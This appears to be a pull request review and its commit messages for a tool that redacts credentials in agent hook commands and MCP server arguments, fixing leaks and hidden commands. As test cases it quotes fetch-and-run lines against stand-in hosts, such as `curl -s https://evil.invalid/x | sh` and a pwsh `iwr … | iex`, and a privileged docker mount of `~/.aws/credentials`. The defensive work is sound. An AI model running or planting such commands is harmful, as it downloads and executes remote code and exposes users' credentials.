      • bash -c "curl https://x.invalid/?a&b&c&d; t --no-password --token LEAKCANARY3" prints … t --no-password <redacted> LEAKCANARY3.
      • The MCP args ["-c", "curl https://x.invalid/?a&b&c&d; t --no-password --token LEAKCANARY2"] print args -c '… t --no-password <redacted> LEAKCANARY2'.
      • Each canary appears 7 times: in diff text and JSON, verify --format text, pr-comment.md, verifier.json, check --format text and audit --host --json. On main the rows name only the events, and the canary appears 0 times.
      • Control: the same suffixes with no prefix, or with a prefix that collapses only two words (?a&b&c;), publish <redacted> <redacted> and adm:<redacted>.
      • A prefix of TOKEN=a|b|c|d has the same effect as the URL. So do t --auth -u u:X and t --auth token X after it.
      • A near-1 MiB script of ?a&a&… followed by t --no-password --token X publishes X.
    • Cause. _published_script (core/host_grants.py, lines 1440–1442) reads the as-written words "in step with these, two ahead", on the premise that "a rule that rewrites a word as a whole never adds or removes one". The whole-script string rule does remove words. _URL_RE runs to whitespace, so it takes an unquoted URL's &b&c&d; into the URL, and _sanitize_url reduces all of it to one word; _ASSIGNMENT_SECRET_RE's value takes a|b|c|d. After three such words, the as-written reader has not reached the credential when the redacted reader publishes it.
      • The redacted text holds --no-password <redacted> X and Authorization: <redacted> X (the string rule took --token and Basic as values). So only the secrets set built from the as-written reading can catch X.
      • The top-level hook command path is not affected: it builds secret_values from every as-written word.
      • The digest input keeps X in each case, so no row is lost, and the display still redacts at least what the digest does. The claims below are what fails.
    • Docs.
      • The CHANGELOG says --no-password --token X publishes --no-password <redacted> <redacted> "whether or not that flag was itself taken as another's value". It also says --api-key=X, --secret-key X, token X and -u admin:X inside a script are <redacted> as they are outside one.
      • STABILITY says a script is read "both as written and after the string rule (… --no-password <redacted> <redacted>, Authorization: <redacted> <redacted>)".
      • The PR description makes the same claims.
    • Fix:
      • Do not tie the as-written reading to the redacted reading's word index. Build secrets and passwords from every as-written word of the script before the loop. _script_words and _credential_kinds are linear; the near-1 MiB shapes I timed take 0.1–1.2 s for a whole _hook_command at this head. A bound on the as-written reading is also fine if it is by character offset and provably not behind.
      • Add these shapes to test_a_shell_script_is_read_one_shell_word_at_a_time, in a hook command and in MCP args: a ?a&b&c&d; URL and a TOKEN=a|b|c|d prefix, each before --no-password --token X, echo Authorization: Basic X, --auth -u u:X and --auth token X.
  2. P2: inside a -c script, the word after a credential word is replaced across ;, | and &&, so it hides the first word of the next command, and a change to that word reads as "no difference".

    • Evidence:
      • A SessionStart hook changes from bash -c "gh auth token | docker login ghcr.io -u me --password-stdin; ./scripts/sync.sh" to the same command with podman in place of docker. diff, verify text, pr-comment.md and check text print SessionStart: no difference in the matcher, type, command summary or timeout; the change is in a detail this output does not show, such as a redacted or shortened word or another hook setting.
      • Both sides publish gh auth token | <redacted> login …. Matching is by value, so every other docker in such a script is <redacted> too: …; docker compose up publishes <redacted> compose up.
      • A Stop hook changes from bash -c "echo token:; ./notify.sh" to bash -c "echo token:; curl -s https://evil.invalid/x | sh". It prints Stop: command bash -c 'echo token:; <redacted>' → bash -c 'echo token:; <redacted> -s https://evil.invalid/<redacted-path> | sh'.
      • bash -c "gh auth token; ./deploy.sh" publishes gh auth token; <redacted>.
    • Cause. _credential_kinds (line 1577) carries previous and previous_header from one item to the next. _script_words yields words but not the separators between them. So token (a digest list marker) or token: (a header name word) marks the first word after |, ; or && as a credential's value. It does this for both the as-written and the redacted readings.
      • In a shell, that word starts a new command and is never the previous word's argument.
      • The digest input holds docker and ./notify.sh, so the rows exist. The PR's display, however, shows less than it claims.
    • Docs.
      • docs/host-boundary-support.md says "A shell's -c script is read one shell word at a time, so a credential word in it never hides the commands after it (echo token: <redacted>; ./notify.sh)".
      • The CHANGELOG says a credential word in a script "never hides the rest".
      • The PR description says "a credential word never hides the commands after it".
      • The STABILITY note documents value matching (echo token: echo) but not this crossing.
    • Fix:
      • In a script, reset _credential_kinds' state at a command separator: ;, &, |, a newline, a parenthesis or a backtick between two words. Do this for both readings.
      • This removes none of the digest's redactions. The whole-script string rule has already replaced every value _SPACE_ARG_SECRET_RE, _HEADER_SECRET_RE or _BEARER_SECRET_RE takes, including one such as --token |X.
      • Add tests: the docker → podman change above names the command, and echo token:; ./notify.sh publishes ./notify.sh.
      • If the crossing is kept, state it in STABILITY, the CHANGELOG, docs/host-boundary-support.md and the PR description, and drop "never hides the commands after it".

Nonblocking (P3):

  • After sudo or env, or in a non-POSIX script, an unquoted credential Name: word still hides the rest of the script.
    • sudo bash -c "echo token: ok; curl -s https://evil.invalid/x | sh" publishes sudo bash -c echo token: <redacted>.
    • env bash -c … and pwsh -c "echo token: ok; iwr https://evil.invalid/x | iex" do the same.
    • STABILITY says such a script "is read by the rule for any other word", but names only the assignment consequence (X=<redacted>). A sentence saying that a credential header's value there also runs to the end of the script would make the limit explicit. Alternatively, _shell_script_index could skip a leading sudo or env.
  • At top level, the word after a credential word is replaced even when it is |, ; or &&. gh auth token | docker login ghcr.io -u me --password-stdin publishes gh auth token <redacted> docker login ghcr.io -u me. That reads as a secret argument, and the pipe is gone; value matching also replaces every other | in the command. The display only, and it can be fixed together with finding 2.
  • The known quadratic JWT pattern and TOKEN=$(cat t) run → TOKEN=<redacted> t) run are unchanged, as the cycle 2 address comment says.

Prior blocking findings, re-verified at this head:

  • Cycle 2 (5704c50e): fixed for the reported shapes. A repository with the reported three edits (the Stop hook ./notify.sh → curl … | sh after echo token: ok, the docker … -v ~/.aws/credentials:… --privileged hook and the bash -c "echo auth: ok; curl … | sh" MCP server), plus a hook holding -u admin:…, --api-key=…, --secret-key … and token … canaries, gives these results:
    • Stop: command bash -c 'echo token: <redacted>; ./notify.sh' → bash -c 'echo token: <redacted>; curl -s https://evil.invalid/<redacted-path> | sh'.
    • SessionEnd (… ghcr.io/evil/img:latest --priv…), cut at the 80-character bound.
    • s (command name bash; args -c 'echo auth: <redacted>; curl -s https://evil.invalid/<redacted-path> | sh').
    • evil appears 3 times in each of diff text and JSON, verify text, pr-comment.md, verifier.json and check text. The canaries appear 0 times.
    • Called directly: curl -u admin:<redacted>, --api-key=<redacted>, --secret-key <redacted>, token <redacted>, -uadmin:<redacted> and tool --no-password <redacted> <redacted>; run.
    • Quoted assignments publish $env:API_KEY='<redacted>', process.env.TOKEN='<redacted>', --env=API_KEY='<redacted>' and export API_KEY='<redacted>'.
    • curl "https://x.invalid/a?token="abc123 publishes https://x.invalid/<redacted-path>.
  • Cycle 1 (e49650d5): fixed.
    • A SendGrid-shaped key publishes SG.<redacted>.<redacted>, a Mapbox-shaped one pk.<redacted>.<redacted>, a Discord-shaped one <redacted>.GhIjKl.<redacted>, a Telegram-shaped one 123456789:<redacted>, and an Azure connection string AccountName=acct;AccountKey=<redacted>.
    • --no-password --token X --use-token --api-key Y publishes --no-password <redacted> <redacted> --use-token <redacted> <redacted>.
    • The 16-argument docker server (v0.5.0 → latest) reads …the first 12 arguments…; …such as an argument past the first 12, ….
    • 0 canary hits on every route.

Verified:

  • Issue fixtures. On main, matcher, command and timeout read PostToolUse → PostToolUse, and pin reads docs: no difference in the command name npx, env key names or header key names; …. On this head, diff text, verify --format text, pr-comment.md, check text, review.changes[].change in diff --json and host_comparison.review.changes in verifier.json all read:

    • PostToolUse: matcher Edit → Edit|Write|Bash
    • PostToolUse: command bin/lint.sh → curl -s https://example.invalid/<redacted-path> | sh
    • PostToolUse: timeout 10 → 600
    • docs: args -y example-mcp-server@1.2.3 → -y example-mcp-server@latest

    rows[] in diff --json equals main's for all four.

  • PR comment. Backticks and newlines in a published command or argument stay inside code spans, using longer backtick runs and \x0a.

  • Performance. Near-1 MiB scripts of ;, quotes, backslashes, token:, assignments and & URLs take 0.1–1.2 s per _hook_command and 0.1–0.9 s per _mcp_args.

  • Tests fail without the fix. With the previous head's core/host_grants.py swapped into this tree, the cycle 2 tests fail: the script-route test, all six quoted-assignment, split-URL and glued--u cases, and the quoted-argument test.

  • Local checks.

    • tests/test_hook_mcp_detail_fields.py: 202 collected, matching the description.
    • 51 test files, all passed except tests/test_codex_boundary_check.py::test_codex_check_boundary_json_golden_outputs: 2,982 passed, 4 skipped, 1 failed. The files are the 12 this PR edits, every test file that references host grants, capability diff rows or the host-grants schema, the host-config, cold-start and oracle-control replays, the public surface contract and the entry docs. The one failure happens the same way on main under this machine's Python 3.14 (TOMLDecodeError line and column).
    • scripts/generate_schemas.py --check passes. scripts/build-llms-full.py leaves no diff. ruff check src tests scripts is clean.
  • CI: green on 84d2c44a: suite 1–3, test, coverage, verify, verify-self, both launchers and both mcp extras. release-tag-consistency was skipped.

…uments (#819)

A hook row read `PostToolUse → PostToolUse` whether the edit was to the
hook's matcher, its command or its timeout, and an MCP server whose version
pin moved to `@latest` read as a change "in a detail this output does not
show": the grants carried none of it, and only `config_sha256` saw the edit.

Host-grants inventory, baseline and drift move to 0.7 and the runtime
contract to 41. A hook grant adds `handlers[]` (each handler's group
`matcher`, its `type`, a `command` summary `{env_keys, argv0, args,
omitted_args}` and its `timeout`) and `omitted_handlers`; an `mcp_server`
grant adds `args` and `omitted_args`. A declaration outside the documented
hooks shape publishes `handlers: null` and its row says the detail is not
shown. Plugin-selected and Codex hooks keep their loading basis.

Every published word passes through the #802 label redaction, with `Bearer`
values replaced first; the value after a credential-named flag, of an
`env`-style `NAME=value` word and a generated-looking word are `<redacted>`;
leading shell assignments keep only their names; a home path is written from
`~`. Words are cut at 80 characters, eight words follow `argv0`, twelve MCP
arguments and sixteen handlers are listed, and the text counts the rest.

The members display what `config_sha256` already binds, so grant equality
and every inventory digest leave them out: a change is a row exactly when it
was one before, a 0.6 baseline compares with no new row or reason and its
digest still verifies, and `audit --host --save-baseline` may now replace a
0.6 baseline (older ones are still refused).

The shared capability rows render the difference for hooks as they do for
MCP servers: `PostToolUse: matcher Edit → Edit|Write|Bash`,
`PostToolUse: timeout 10 → 600`, `PreToolUse: handler 2 timeout 5 → 50`,
`docs: args -y example-mcp-server@1.2.3 → -y example-mcp-server@latest`, in
`diff`, `verify` text, the PR comment and `check` text, and as
`review.changes[].change` in `diff --json` and `verifier.json`. Row values,
the row count, `check`'s boundary result and the envelope's `capability_rows`
are unchanged; verifier 0.20 and capability diff 0.3 do not move.

Measured against the prepared 1.1.0 commit e3c6cb0 on the 80 vendored
benchmark cases: rows byte-identical on all 80, 42 entries on 35 cases gain
detail, and all 7 changed hook/MCP entries that were content-free now name
their field. The benchmark replays reproduce their run-of-record scores, and
the route readiness dry run was rerun for the contract bump (identical cells
apart from the two version numbers).

Tests: tests/test_hook_mcp_detail_fields.py covers the issue's four fixtures
on every route, the published v0.7 schemas, redaction of a token in a
command, a secret positional argument, env-style assignments and an
over-length command, display-only equality and digests, 0.6 baseline
compatibility and re-save, loading basis, and the out-of-shape limit.
Refs #819

A header credential after any scheme other than Bearer was published. The label rule replaces only the first word after `Authorization:`, and the detail pre-pass special-cased only `Bearer`, so `Authorization: Basic <credential>` printed as `Authorization: <redacted> <credential>` in hook commands and MCP arguments on every route, and `Authorization: Bot <token>`, `X-Auth-Token: <token>` and `api-key: <token>` printed their token. `_detail_label` now runs the label rule and then replaces the whole value of a credential written `Name: value`, the scheme included, up to the closing quote or the end of the text: `Authorization`, `Proxy-Authorization`, `Cookie`, `Set-Cookie` and any header or key whose name is, or ends in, a credential word (`X-Auth-Token`, `api-key`, `X-API-Key`, a JSON `"token":`). All three schemes now publish `Authorization: <redacted>`. The name only starts where a run of name characters starts, so the scan stays linear. The Bearer pre-pass is no longer needed and is gone.

`audit --host --save-baseline` wrote hook commands and MCP arguments into the committed baseline, including ones read from `~/.claude/settings.json`, `~/.cursor/mcp.json` or managed settings under `--scope local-static`, or from a git-ignored `.claude/settings.local.json` in either scope. Those values were never in the repository, and a short positional password such as `-p hunter2` matches no word rule. A saved baseline now holds each grant as comparisons read it (`compared_grant`), with no `handlers`, `omitted_handlers`, `args` or `omitted_args`. `HostGrantsBaselineV7` keeps the 0.6 snapshot, which forbids those members, so a saved 0.7 baseline's grants are exactly a 0.6 baseline's. Nothing read them before. `inventory_sha256` is unchanged: the reviewer's fake-HOME reproduction gives the same `5e406f56cd73…` digest before and after, with 4 leaked values before and 0 after. A comparison between two commits still renders both sides' detail through `host_comparison_baseline`, which applies the saved baseline's checks to the full normalized inventory and is never saved.

MCP-argument redaction is now at least what the digest's input redacts. The word after any item the digest's list rule treats as a credential marker is `<redacted>`, with or without dashes (`token X`, `password X`); that rule is factored into `_is_list_secret_marker`, which the digest and the display share. `--auth X` is redacted, as the hook string rule already did. A flag name is read with every character but letters and digits removed, so `--brave_api_key` matches the `apikey` ending. From the non-blocking notes: `-u`/`--user`/`-U`/`--proxy-user` values keep the user and lose the password after `:`. A timeout of `5` becoming `5.0` now reads `timeout 5 → 5.0`, because handler fields are compared as their JSON publishes them.

Tests: the credential canary sweep adds a Basic header, a custom `X-Auth-Token` header and `-u user:password` in a hook, and a Basic header, an `api-key:` header, a bare `token`, `--auth` and `--brave_api_key` in MCP arguments. It now also checks the saved baseline. The per-argument rule test takes lists, so it pins the next-word cases the reviewer named. A new test checks that every argument the digest's input redacts is published redacted. A local-static baseline saved with a fake HOME holds none of its hook or MCP values while the inventory still shows them, and still compares with no drift. A repository baseline holds nothing from `.claude/settings.local.json`. `5` to `5.0` names both values. The baseline 0.7 schema is regenerated, which differs from 0.6 only in its version. STABILITY's migration note gains a Saved baselines bullet, its redaction bullet is restated, and "a hand edit to a baseline's copy" is gone because there is no copy. The CHANGELOG, host-boundary support doc, agent contract and distribution-surfaces row now say the same, and the row's redaction claim is narrowed to "permission-rule argument redaction". llms-full.txt is rebuilt.

`diff --json` over the 80 vendored benchmark cases gives rows byte-identical to the prepared 1.1.0 commit on all 80. Review entries are identical to the previous head on all 80, and 42 entries on 35 cases differ from 1.1.0, as the CHANGELOG states.

Rebased onto main after #853 moved the published-release pins to v1.1.0. The conflict resolutions landed in the rebased first commit. The README and quickstart quotes now include the `billing` server's `args`, which the published 1.1.0 does not print, so `test_host_diff_entry_docs` requires both pages to use the not-yet-released label. Each page names the published `1.1.0` and says what it prints instead. llms.txt and the AI-search summary name v1.1.0 (contract 40) as published and this tree's contract 41 as unreleased. The pilot ledger keeps main's 2026-09-22 v1.1.0 measurement and the #819 source-tree rerun beside the 1.1.0 release commit, and its source-tree column reads contract 41 and inventory schema 0.7.
Refs #819

Generated credentials that hold a `.`, `:` or `;` were published whole in hook commands and MCP arguments. The generated-key test ran only on a word made entirely of the base64 alphabet, so one separator defeated it: a SendGrid `SG.<id>.<secret>` key, a Telegram `<bot id>:<secret>` token, an Airtable `pat<id>.<secret>` token, a Discord bot token, a Mapbox `sk.<payload>.<signature>` token and an Azure `AccountName=…;AccountKey=<key>` connection string reached `diff`, `verify`, the PR comment, `verifier.json` and `check`. `_without_generated_runs` now tests each run of the base64 alphabet inside a word, split at every other character and at an `=` that separates a name from its value, and replaces each run that reads as a key. Once one run of a word is a key, every other run in it with a key's shape (20 or more characters of two classes) is replaced too, because a token's other parts are no less random and are often too short for the entropy test alone (a Mapbox signature). A run followed by `=` is an assignment's name and is kept, so the Azure string publishes `AccountName=acct;AccountKey=<redacted>`, and the hex of a `sha256:`, `sha384:` or `sha512:` digest is kept as the pin it is. The whole-word test still runs first, so no word it redacted before is published now.

A credential flag right after another credential-named flag published its value while the digest's input redacted it. In `--no-password --token abc`, the boolean `--no-password` took `--token` as its value, the next-word rule stopped there, and `abc` was published; the digest's list rule reads `--token` as naming `abc` and redacts it, so rotating `abc` changed the published arguments with no row. Which word is replaced now depends only on the word before it (`_credential_values`), so both words are `<redacted>`. The same case in a hook command was also published, because the digest's string rule had already written `--token` as `<redacted>` before the words were split. A word that follows a credential name in the command as written is now `<redacted>` wherever the redacted words still hold it.

An edit past the 12-argument bound read "no difference in … arguments". When either side declares more arguments than the grant publishes, the MCP sentence now says `the first 12 arguments` and names `an argument past the first 12` among what it does not show. A hook with more than 16 handlers says `of the first 16 handlers` and names `a handler past the first 16`, and one whose command has more than eight arguments names `a command argument past the first 8`.

From the non-blocking notes: the digest's own string rule now runs on the text as written before any other pattern, so a known token shape that runs into the flag after it (`sk-…--password X`) no longer hides the value that rule redacts. `--secret-key X`, `--aws-access-key X` and `--pass X` are redacted as credential flags. STABILITY and the CHANGELOG now name the shapes that still publish (`-p hunter2`, `-phunter2`, `--key hunter2`, an e-mail address) and the over-redaction of an image whose name ends in a credential word (`ghcr.io/org/auth:<redacted>`). `-u` after a replaced word keeps its user-and-password rule, and a redaction marker after `-u` is no longer split at its `:`.

Tests: the canary sweep adds all six joined token shapes, the chained flag, the access-key, secret-key and pass flags, and a glued `sk-…--password` value, across a new hook and a new MCP server, and checks every route and artifact as before. The word table pins each joined shape and the benign controls: a digest pin, an image tag, `@scope/pkg@1.0.14`, `pkg==1.10.1`, a dotted `$CLAUDE_PROJECT_DIR` path and a connection string without a key. The digest-superset invariant adds the reviewer's three chained cases and is checked over every list of up to four words from a vocabulary of flag shapes. A value-level test covers glued words in both an argument list and a hook command. Rotating the value after `--no-password --token` stays quiet and redacted. A 14-argument docker config whose tag is the last argument, a seventeenth handler and a command's tenth argument each name the bound. Against the previous head's engine, 26 of the new or changed test cases fail and the benign controls pass; all pass here.

Re-running the 80 vendored benchmark cases through `diff` against the previous head gives identical rows, review entries, text and published hook and MCP detail (437 words) on all 80, so no real-world argument is redacted that was not before. The replay tests reproduce the run-of-record scores unchanged.
A hook timeout written as an integer too large for a float crashed every
route that read the hook. `_hook_handlers` called `math.isfinite` on any
int, which converts it to a float first, so a timeout of 1 followed by 400
zeros made `diff`, `diff --json`, `check` and `audit --host --json` exit 1
with OverflowError, and `verify` exit 4 with no PR comment and no
verifier.json. `_hook_timeout` now publishes a finite float, or an integer
of at most 80 digits, as the number it is, and any other value as its
bounded text; an integer is never converted to a float, and its bit length
bounds the digits before it is turned into text.

The credential header rule ran on a hook's whole command, where an
unquoted value runs to the end of the text, and `PWD` ends in `pwd`:
`docker run --rm -v $PWD:/src <image> --fix` published
`-v $PWD:<redacted>` and nothing after it, so the image moving to another
registry with `--privileged` added read "no difference", and an added
`echo auth: ok; curl ... | sh` hook printed only `echo auth: <redacted>`.
The digest's string rule and the label rule still run on the whole
command; the header rule now runs on each word, as it already did for MCP
arguments, and never takes a `$NAME` shell variable as a header name. A
word that ends in a credential header name and its colon, as an unquoted
`-H Authorization: Basic <key>` splits, takes the next word as its value,
and the word after that when the next is an authentication scheme, so
splitting at whitespace publishes no credential.

docs/host-boundary-support.md said a change confined to the value after a
credential-named flag is still a row. For a value the digest's own input
redacts (after --token, --api-key or --password, a --password=... value,
an X-Api-Key: header value) it is not compared and is no row, as on 1.1.0.
That page, STABILITY and the CHANGELOG now say so, and keep "still a row"
for positional tokens, generated keys, a header's words after its scheme,
a flag the digest does not name, words past a bound and unpublished
settings; the CHANGELOG says the display's redaction never hides a change.

The review's nonblocking findings, all fixed:

- `args` that is not a list on both sides no longer says arguments were
  compared: its entry reads "such as the command's path or arguments", as
  on main.
- "handlers past the first N" names the bound of 16, not the other side's
  listed count.
- Escaped JSON inside a double-quoted shell word
  (`{\"password\": \"...\"}`) is read by the header rule, which accepts a
  backslash before a quote, so its value is no longer published.
- A POSIX shell's `-c` script (`bash -c "X=1; curl ... | sh"`) published
  `X=<redacted>` and nothing after it. In a shell's script a leading
  assignment's value now ends where the shell ends it, at the first
  whitespace outside quotes and escapes, so it publishes
  `X=<redacted> curl ... | sh`. Anywhere else a `NAME=value` word's value
  is still the rest of the word, since `docker run -e "FOO=a b"` sets FOO
  to `a b`, and a value holding a substitution, a parenthesis, a brace or
  an open quote is still replaced whole.
- The digest's credential-assignment rule took time quadratic in a long
  run of name characters (40,000 characters of `password`: 1.6 seconds in
  the digest input, 6.6 seconds for one hook command's detail). A
  lookahead for the `=` and value every match needs removes it (now under
  0.1 seconds); it matches exactly what it matched, with the same spans
  and groups over 200,000 random strings, so every config_sha256 is
  unchanged. A test pins both.

The 80 vendored benchmark cases give the same rows and the same review
entries at this commit as at the previous head, so the CHANGELOG's
measurement stands, and the replay tests pass unchanged.
Three display rules took time quadratic in repository-controlled text, so
one config file near the reader's 1 MiB bound stalled diff, check, verify
and audit for minutes to over an hour:

- the credential header rule's blanks around the colon backtracked into
  the value, whose first class also holds a blank ("token:" and 64,000
  blanks took 20 seconds). They are possessive now; a value cannot end in
  a blank, so the rule matches exactly what it matched;
- the shell-flag test, -[A-Za-z]*c[A-Za-z]*, backtracked over every c of a
  long option cluster. It now tests -[A-Za-z]+ and looks for the c apart;
- the digest-pin test searched the whole word before every hex run for a
  sha256: prefix. It reads only the seven characters before the run.

Timing each reader near the bound found three more of the same kind in
the hook reader. shlex grows a word one character at a time, so a 1 MiB
command took 16 seconds to split; _command_words is now a one-pass reader
that returns exactly shlex's words. The leading-assignment loop copied the
word list once per assignment, and the -c script's assignment loop copied
the rest of the script once per assignment; both walk by index now. Near
the bound every shape reads in under two seconds, and a test holds each
under ten; a randomized test holds the rewritten rules to what they
published before.

In a shell's -c script an assignment's value now also ends at an unquoted
;, & or |, so `X=1;curl ... | sh` names curl instead of hiding it, and
every word of the script that starts with an upper-case NAME=, or a quote
and one, is read as an assignment rather than only the leading ones:
`export DB_PASS=...` and `cd /x && DB_PASS=... ./run.sh` publish
DB_PASS=<redacted>, as the same words in a plain hook command already did.
A < or > does not end a value, since a <redacted> marker an earlier rule
wrote there holds both.

docs/quickstart.md said an edit confined to a credential-redacted argument
says so. A value the digest's own input already redacts (after --token,
--api-key or --password, or an X-Api-Key: header value) is not compared
and prints no entry, as the other pages state; "says so" now covers only
the command's path, any other redacted argument and what is past a bound.
STABILITY and the CHANGELOG describe the script rule, say that a script
after env or sudo is read as any other word, and name lower- and
mixed-case assignments (db_pass=..., a connection string's Pwd=...) among
what no rule recognises.

Rebased onto #821 (#852), which also moved the runtime contract to 41.
The resolution, in the commits that introduced each entry, extends
contract v41 in place, and the CHANGELOG, STABILITY,
docs/agent-contract-current.md and contract.py name each change's versions
(verifier 0.21 and capability diff 0.4 are #821's, host-grants 0.7 is
#819's). This commit reruns the design-partner pilot's source-tree column
on the combined tree beside the 1.1.0 release commit: the same cells, the
JSON differing only in schema versions, #821's coverage members, init's
contract version and input id, and the added MCP grant's empty args.
The new near-bound tests failed in CI's first suite shard: the shell-flag
hook and the two many-assignment shapes took 10 to 13 seconds against a
10-second bound, where a laptop takes under two. The shard traces coverage
on a shared runner, which multiplies every line of Python, and those
shapes still read a 1 MiB word a character at a time in Python in several
places.

Those places now find the next character that matters with a pattern
instead: the command splitter reads a piece at a time (a run of blanks, a
quoted run, a lone quote, a run of anything else), the -c script walker and
the value-end scan jump to the next quote, backslash, blank or separator,
the generated-key test searches for each character class and counts letter
and digit runs with patterns, and the generated-run scan reads only runs of
twenty or more characters, the only ones it can replace. A 1 MiB word
splits and scans about ten times faster. A second randomized test holds
each scan to what its character-by-character form published.

The many-assignment shapes spend their time in per-word Python that no
pattern removes, so the bound is now 60 seconds: at this length the
reviewed shapes took from over a minute (the hex runs) to over an hour
(the header blanks).
Inside a shell's -c script, a credential word still hid the rest of the
script. _published_word ran the whole label rule on the script, the
credential header rule included, and a header's unquoted value runs to
the end of the text it is found in. So `bash -c "echo token: ok;
./notify.sh"` and `bash -c "echo token: ok; curl ... | sh"` both published
`echo token: <redacted>`, and diff, verify, the PR comment and check
called the change a detail they do not show. A docker `-v
~/.aws/credentials:...` mount hid the image and --privileged after it. The
--flag=, -u and list rules read only the words outside the script, so
`bash -c "curl -u admin:pw ..."`, `--api-key=X`, `--secret-key X` and
`token X` published their values.

A script is now read one shell word at a time. The string and label rules
still run on the whole script first, then the assignment scan. After that,
_script_words splits the script at whitespace, ;, &, |, parentheses and
backticks outside quotes and escapes, and each word goes through the rules
a hook command's word does: the header rule on that word alone, the
--flag=, -u, env, generated-key and home-path rules, and the word after a
credential name, an unquoted header name or -u (_credential_kinds, which
_credential_values now reads too). The script is read both as written and
after the string rule, as a hook command's words are, so `--no-password
--token X` inside one publishes `--no-password <redacted> <redacted>`. A
rewritten word loses its quotes unless it was one quoted word, and every
other character is copied as written. Words are read only up to the
80-character bound, so a long script costs its first words.

Three shapes the word rules published as written are now redacted:

- a quoted credential assignment, which the digest's assignment rule does
  not read: pwsh's $env:API_KEY='x', node's process.env.TOKEN='x', an MCP
  --env=API_KEY='x' and one argument `export API_KEY='x'`;
- curl's -u with its value glued on, -uuser:password;
- the text a quote split from a URL. The string rule's URL ends at a
  quote, so `curl "https://x/a?token="abc` published
  https://x/<redacted-path>abc once the word's quotes were removed. A URL
  is now read again on its word. The same rule covers a script URL that
  took `;X=` into its path and left X's quoted value glued to it; the
  randomized comparison below found that one.

STABILITY, the CHANGELOG and docs/host-boundary-support.md describe the
script rule and the three shapes. They also state the limit that remains:
text after a blank inside a quoted URL is still published. They now say
that a comparison against the working tree reads a git-ignored
.claude/settings.local.json, so its commands can appear in local
pr-comment.md and verifier.json, which the docs raised only for baselines.

New tests pin the reviewer's shapes in a hook command and in MCP args, on
every route, with canaries. A randomized test holds the script word scan
to a character-by-character reading, and two more 1 MiB shapes hold the
new scans linear. Comparing the previous head with this one on 73,000
generated scripts found no canary this head publishes that the previous
one hid, and no command word left hidden. Both published all 204 commands
and 82 argument lists in the vendored benchmark cases identically.
Inside a shell's -c script, a credential that only the as-written reading
catches was published once earlier text in the script collapsed three or
more words. _published_script read the words as written "two ahead" of
the redacted words, on the premise that no rule adds or removes a word.
The whole-script string rule does remove words: its URL takes an unquoted
`?a&b&c&d;` and its credential assignment takes an unquoted
`TOKEN=a|b|c|d`. The secrets set was not yet filled when the value was
published, so `bash -c "curl https://x.invalid/?a&b&c&d; echo
Authorization: Basic X"` published `Authorization: <redacted> X`, and
`--no-password --token X`, `--auth -u u:X` and `--auth token X` after
either prefix published X, in hook commands and in MCP args alike, on
every route. Every word of the script as written is now read before any
word is published, so the two readings no longer need to keep step. The
scan is linear. A near-1 MiB script of 500,000 words takes about a
second.

The word after a credential word was replaced across ;, | and &&, so it
hid the next command's first word. `gh auth token | docker login ...`
published `gh auth token | <redacted> login ...` on both sides, and a
docker -> podman edit read "no difference in the matcher, type, command
summary or timeout". `echo token:; ./notify.sh` published
`echo token:; <redacted>`. _credential_kinds takes a starts_command test,
and _script_command_words says of each script word whether a ;, &, |,
newline, parenthesis or backtick comes before it. Both readings start
afresh at each command. No digest redaction is lost: the string rule has
already run on the whole script and still replaces what it reads across a
separator (`--token |X` publishes `--token <redacted>`).

The same reset applies to a hook command's own words. A word that is only
control operators (|, ||, &&, ;, &) starts a new command, so
`gh auth token | docker login ghcr.io` keeps its pipe instead of reading
`token <redacted> docker`. An MCP server's args are not read by a shell,
and the digest's list rule redacts whatever item follows `token`, `|`
included, so those args are read as before.

After sudo or env, or in a script run by a shell that is not POSIX such
as pwsh -c, the script is still one word. An unquoted credential
`Name:` word's value runs to the end of it: `sudo bash -c "echo token:
ok; curl ... | sh"` publishes `echo token: <redacted>`. STABILITY
already stated the assignment consequence. It now states this header
consequence too, and docs/host-boundary-support.md and the CHANGELOG
limit "never hides the commands after it" to the script of a POSIX shell
that is itself the command. They also say what the string rule still
takes across a separator.

Tests: each of `--no-password --token X`, `echo Authorization: Basic X`,
`--auth -u u:X` and `--auth token X` behind no prefix, a `?a&b&c&d;` URL,
a `?a&b&c;` URL and a `TOKEN=a|b|c|d` prefix, in a hook command and in
MCP args. A route test finds none of the review's three canaries in
diff text or JSON, verify text, pr-comment.md, verifier.json, check text
or audit --host --json. A route test shows the docker -> podman edit
named on every route. There are separator shapes (`echo token:;
./notify.sh`, `gh auth token; ./deploy.sh`, `&&`, `|`, parentheses,
`Authorization: Basic; ./run.sh`) and shapes where the string rule takes
a value across a separator (`|X`, a newline, `&X`). The top-level
operator words are covered, and so is the MCP `token |` parity. Two
near-1 MiB shapes guard the full pre-read in linear time. Against the
previous engine, 20 of the new cases fail.
@pengfei-threemoonslab

Copy link
Copy Markdown
Contributor Author

Addressed review cycle 3. New head 215e1adcfc320ea5f0c1057635035101b3a0aa9e.

The branch is rebased onto origin/main 8269922b (#861, which landed during this cycle). The conflicts were additive: #808's and #819's contract-41 notes in schemas/contract.py, docs/agent-contract-current.md and llms-full.txt are both kept, and the capability_diff row in docs/distribution-surfaces.md and its parity-test comment carry both changes. There was also one import line in core/host_grants.py. git range-diff shows commits 4–6 and 8 unchanged.

C3-851-1: a credential named only in the as-written script leaked after a prefix that collapses words (fixed)

_published_script no longer reads the as-written words "two ahead". It reads every as-written word of the script through _credential_kinds first, and fills secrets / passwords before it publishes any word. After that, the two readings do not need to stay aligned. The scan is linear. Timings at the reader bound (1 MiB − 4 KiB):

Shape This head Previous head
500k-word script 1.06 s 0.64 s
t --token a; × 80k 1.26 s 1.24 s

Two new near-bound shapes cover this in test_a_file_at_the_reader_bound_is_read_in_linear_time: script commands (1.2 s) and script words (0.9 s).

Your reproductions now publish:

  • bash -c "curl https://x.invalid/?a&b&c&d; echo Authorization: Basic LEAKCANARY1" → curl https://x.invalid/ echo Authorization: <redacted> <redacted>
  • bash -c "curl https://x.invalid/?a&b&c&d; t --no-password --token LEAKCANARY3" → curl https://x.invalid/ t --no-password <redacted> <redacted>
  • The same in MCP args for LEAKCANARY2.
  • TOKEN=a|b|c|d; t --auth -u u:X → TOKEN=<redacted>; t --auth <redacted> u:<redacted>
  • TOKEN=a|b|c|d; t --auth token X → TOKEN=<redacted>; t --auth <redacted> <redacted>

New tests:

  • test_a_credential_named_as_written_is_redacted_whatever_the_string_rule_took_before_it. It covers 4 credential tails (--no-password --token X, echo Authorization: Basic X, --auth -u u:X, --auth token X) × 4 prefixes (none, ?a&b&c&d;, ?a&b&c;, TOKEN=a|b|c|d;). Each case checks the exact published script in a hook command and in MCP args.
